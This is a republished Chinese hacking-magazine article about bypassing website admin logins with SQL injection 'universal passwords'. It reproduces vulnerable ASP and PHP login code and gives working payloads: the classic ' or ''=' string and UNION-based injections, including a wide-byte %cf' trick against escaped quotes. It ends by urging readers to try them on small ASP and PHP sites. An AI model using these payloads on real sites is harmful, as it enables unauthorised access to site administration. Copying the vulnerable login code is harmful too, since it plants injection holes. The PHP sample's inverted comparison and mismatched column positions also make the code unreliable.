新型萬能登陸密碼
發(fā)表時間:2023-05-25 來源:明輝站整理相關軟件相關文章人氣:
[摘要]原創(chuàng)作者:oldjun 文章來源:http://www.oldjun.com/ 注:本文已經發(fā)表在《黑客手冊》2009年05期本文章無技術含量, 只是提供一個思路, 思路來源于前不久暴出的那個e...
原創(chuàng)作者:oldjun
文章來源:http://www.oldjun.com/
注:本文已經發(fā)表在《黑客手冊》2009年05期
本文章無技術含量, 只是提供一個思路, 思路來源于前不久暴出的那個ewebeditor2.16版本的上傳漏洞。 對于過濾了單引號或者做了post防注入的站點, 此方法也無能為力了;但對于很多對登陸端沒做處理的網站, 此方法值得一試, 尤其是你已經知道源碼了卻不能執(zhí)行命令(ACCESS數(shù)據(jù)庫)或者對方能報錯( MYSQL數(shù)據(jù)庫)。
首先我們回顧下老的萬能密碼or漏洞的實現(xiàn)機制, 先帖一段asp源碼:
---------------------------老的存在or漏洞的asp代碼----------------------------------------
username = request.form("username")
password = request.form("password ")
set rs=server.createobject("adodb.recordset")
sql = "select * from admin where UserName='"&username&"' And PassWord='"& password &"'"
rs.open sql,conn,1,3
--------------------------------------------------------------------------------------------------------
將表單中的username和password數(shù)據(jù)分別賦值給username和password, 執(zhí)行
select * from admin where UserName='"&username&"' And PassWord='"&password&"' 語句
但如果被賦值的username是 ' or ''=' (password任意填寫)則SQL語句變成了
select * from admin where UserName='' or ''='' And PassWord='123'
''=''條件成立, 則語句成功找到管理表里首位的帳號身份驗證登陸, 因而成了or漏洞, 除' or ''='以外, 'or'='or' 啊什么的都可以, 于是早年or漏洞形成了萬能登陸密碼。
針對這種or漏洞, 很多asp站點進行了改進, 改進后的源碼大致如下:
---------------------------后來經過改進后的asp代碼-----------------------------------------
username = request.form("username")
password = request.form("password ")
set rs=server.createobject("adodb.recordset")
sql = "select [password] from admin where UserName='"&username&"'"
rs.open sql,conn,1,3
If password = rs("password") then
…’登陸成功, 文章來源:http://www.oldjun.com/
End if
--------------------------------------------------------------------------------------------------------
現(xiàn)在很多asp站點的登陸頁面都是這么寫的, 如果是mssql, 還可以執(zhí)行SQL語句;但如果是ACCESS, 很多人應該都會望而卻步了吧?其實在沒有過濾單引號的情況下, 我們還是可以用“萬能密碼”登陸進后臺的。
下面我們進入主題, 討論新型萬能登陸密碼, 以php代碼為例, 由于字符集編碼的問題, 管理登陸端可以注入, 先看源碼:
-----------存在字符集漏洞或者magic_quotes_gpc為off的php代碼-------------------
$row=$DB->query_first("SELECT * FROM admin WHERE username='$username'");
If($row){
if($password!=$row[password]) {
…..//成功, 文章來源:http://www.oldjun.com/
}else{
echo "用戶名或密碼錯誤!";
}
}else{
echo "用戶名或密碼錯誤!";
}
--------------------------------------------------------------------------------------------------------
由于字符集問題, 我們可以注入, 但由于回顯都一樣, 所以猜不到數(shù)據(jù)。 根據(jù)錯誤提示, 我們發(fā)現(xiàn)管理表一共6列, password在第三列, 于是我們構造如下用戶名與密碼:
Username=-1%cf' union select 1,1,1 as password,1,1,1 %23
Password=1
帶入登陸框, sql語句為:
SELECT * FROM admin WHERE username='-1蟎' union select 1,1 as password,1,1,1,1
前面的用戶名肯定不存在, 于是select出來的password就是1了, 就等于提交的password了, 經測試, 成功繞過驗證。
現(xiàn)在我們再回頭看看之前改進過的asp登陸代碼, 我們該如何繞過呢, 原理同上:
Username=-1' union select 1 as [password] from admin where '1'='1
Password=1
呵呵, 輕松繞過認證, 到此為止大家知道該如何利用了吧, 對于現(xiàn)在絕大多數(shù)的小asp站以及一定規(guī)模的php站點, 大家不防試試這個萬能密碼~
上面是電腦上網安全的一些基礎常識,學習了安全知識,幾乎可以讓你免費電腦中毒的煩擾。